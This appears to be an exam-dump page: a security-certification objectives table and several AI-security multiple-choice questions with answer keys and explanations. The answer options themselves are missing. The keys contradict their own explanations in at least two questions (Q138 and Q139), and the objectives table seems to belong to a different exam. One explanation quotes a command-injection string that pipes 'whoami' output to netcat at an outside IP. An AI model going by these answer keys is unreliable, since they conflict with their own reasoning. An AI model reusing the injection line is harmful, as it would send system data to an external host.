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| Section | Weight | Objectives |
|---|---|---|
| Topic 1: Attacks, Threats, and Vulnerabilities | 24% | - Given a scenario, analyze potential indicators associated with application attacks - Explain penetration testing concepts - Given a scenario, analyze potential indicators to determine the type of attack - Explain threat actor types and attributes - Compare and contrast types of social engineering attacks - Explain vulnerability scanning concepts - Given a scenario, analyze potential indicators associated with network attacks |
| Topic 2: Governance, Risk, and Compliance | 14% | - Compare and contrast various types of security controls - Given a scenario, follow organizational security policies and procedures - Summarize regulations, standards, and frameworks that impact organizations - Explain risk management processes and concepts - Explain privacy and sensitive data concepts in relation to security |
| Topic 3: Operations and Incident Response | 16% | - Summarize the importance of policies, processes, and procedures for incident response - Given a scenario, apply mitigation techniques or controls to secure an environment - Given a scenario, use data sources to support an investigation - Given a scenario, use appropriate tool to assess organizational security - Explain key aspects of digital forensics |
| Topic 4: Implementation | 25% | - Given a scenario, implement public key infrastructure (PKI) - Given a scenario, implement secure host settings - Given a scenario, implement secure systems design - Given a scenario, implement authentication and authorization solutions - Given a scenario, apply cybersecurity solutions to the cloud - Given a scenario, implement secure mobile device policies - Given a scenario, implement identity and account management controls - Given a scenario, implement secure network architecture concepts |
| Topic 5: Architecture and Design | 21% | - Summarize basics of cryptographic concepts - Explain the importance of security concepts in an enterprise environment - Summarize virtualization and cloud security concepts - Explain the security implications of embedded and specialized systems - Explain secure application development, deployment, and automation concepts - Summarize authentication and authorization design concepts - Given a scenario, implement cybersecurity resilience - Explain the importance of physical security controls |
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NEW QUESTION # 135
A security team is using an AI-based tool to try to bypass organizational boundaries. The team uses AI to look at the current state and suggest different attack vectors based on the outcome of the previous ones.
Which of the following techniques is the team most likely using?
Answer: D
Explanation:
Basic Concept: Modern penetration testing increasingly leverages AI to automate the reconnaissance, exploitation, and pivoting process. AI-assisted automated penetration testing can adapt its strategy based on previous results, simulating intelligent adversary behavior more realistically than static scripts. CompTIA SecAI+ covers AI-assisted offensive security techniques.
Why D is Correct: Automated penetration testing uses AI to systematically discover and attempt to exploit vulnerabilities while adapting tactics based on the results of previous attempts. The described behavior - looking at the current state, suggesting attack vectors, and adjusting based on outcomes - precisely describes an adaptive AI-driven penetration testing tool that iteratively explores the attack surface, mimicking how an advanced persistent threat would operate.
Why A is Wrong: Manual signature matching compares network traffic or files against a database of known threat signatures. It is a passive detection technique used by defensive tools like IDS/IPS, not an adaptive offensive technique for bypassing organizational boundaries.
Why B is Wrong: Code quality testing analyzes source code for bugs, vulnerabilities, and adherence to coding standards. It is a development quality assurance activity, not an offensive security technique for testing organizational security boundaries.
Why C is Wrong: Fraud detection uses ML to identify suspicious patterns in transactions or user behavior for defensive purposes. It is a preventive security measure, not an offensive technique for penetration testing.
NEW QUESTION # 136
A security analyst receives an alert about an AI system and is investigating the following output:
Which of the following is the most appropriate control the analyst should recommend?
Answer: B
Explanation:
The output shows a command injection attempt (sub.popen('whoami | nc 11.22.33.44'...)) embedded in user input. The most effective control is user input validation, which prevents untrusted or malicious inputs from being executed as system commands, thereby securing the AI system against injection attacks.
NEW QUESTION # 137
Which tool prevents unauthorized system file modifications?
Answer: C
Explanation:
FIM detects changes to critical system files.
NEW QUESTION # 138
A global security operations center (SOC) wants to adapt and leverage the strength of AI in order to enhance its security operations.
Which of the following is the best way to enhance the global SOC functions?
Answer: C
Explanation:
Basic Concept: AI can augment SOC operations in various ways, but the most appropriate uses maintain human oversight and leverage AI ' s natural language understanding to reduce cognitive load on analysts.
CompTIA SecAI+ Study Guide identifies alert summarization as a high-value, low-risk AI application for SOC enhancement.
Why D is Correct: AI-powered alert summarization consolidates complex, high-volume security alerts into concise, actionable insights, helping analysts rapidly understand threats without reading extensive raw log data. This is a safe, bounded AI application that enhances analyst efficiency while preserving human decision- making authority, directly addressing the volume and complexity challenges SOCs face.
Why A is Wrong: Generating and executing code directly in production without human review introduces serious risk. AI-generated code may contain errors, security vulnerabilities, or unintended side effects that could disrupt or compromise production systems.
Why B is Wrong: Enabling an AI assistant to act autonomously with no human intervention violates the human-in-the-loop principle. Autonomous AI in a SOC without oversight could incorrectly contain legitimate systems, miss actual threats, or make consequential decisions without accountability.
Why C is Wrong: Deploying open-source models directly in production without proper vetting, security hardening, and compliance review introduces supply chain risk, model reliability concerns, and potential intellectual property issues into sensitive security operations.
NEW QUESTION # 139
An airline corporation wants to implement a chatbot application using a large language model (LLM) so its customers can ask questions and receive answers about flight details and have the option to upload files.
Which of the following security controls should the airline use to protect against malicious input and unauthorized use beyond the service-level agreement? (Choose two.)
Answer: A,C
Explanation:
Basic Concept: LLM-based chatbots accepting user-uploaded files face two critical risk categories: malicious input injection and resource or cost abuse. CompTIA SecAI+ Study Guide highlights prompt security controls and resource management as key defensive layers for public-facing LLM applications.
Why A is Correct: Prompt guardrails intercept and filter user inputs and model outputs, blocking malicious prompts, prompt injection attempts, and harmful file content before affecting model behavior. Since users can upload files, guardrails are essential for sanitizing and validating that content before processing.
Why D is Correct: Model token quotas directly limit how much of the LLM ' s processing capacity a user can consume. This prevents abuse beyond the SLA, including denial-of-wallet attacks or resource exhaustion through excessively large inputs or repeated requests.
Why B is Wrong: Role-based access controls manage who can access what resources. While useful for internal systems, they do not address malicious input content or enforce LLM resource consumption limits for a public-facing chatbot.
Why C is Wrong: Firewall rules operate at the network layer and can block unauthorized IPs or ports but cannot inspect or filter the semantic content of prompts or control token-level LLM usage.
NEW QUESTION # 140
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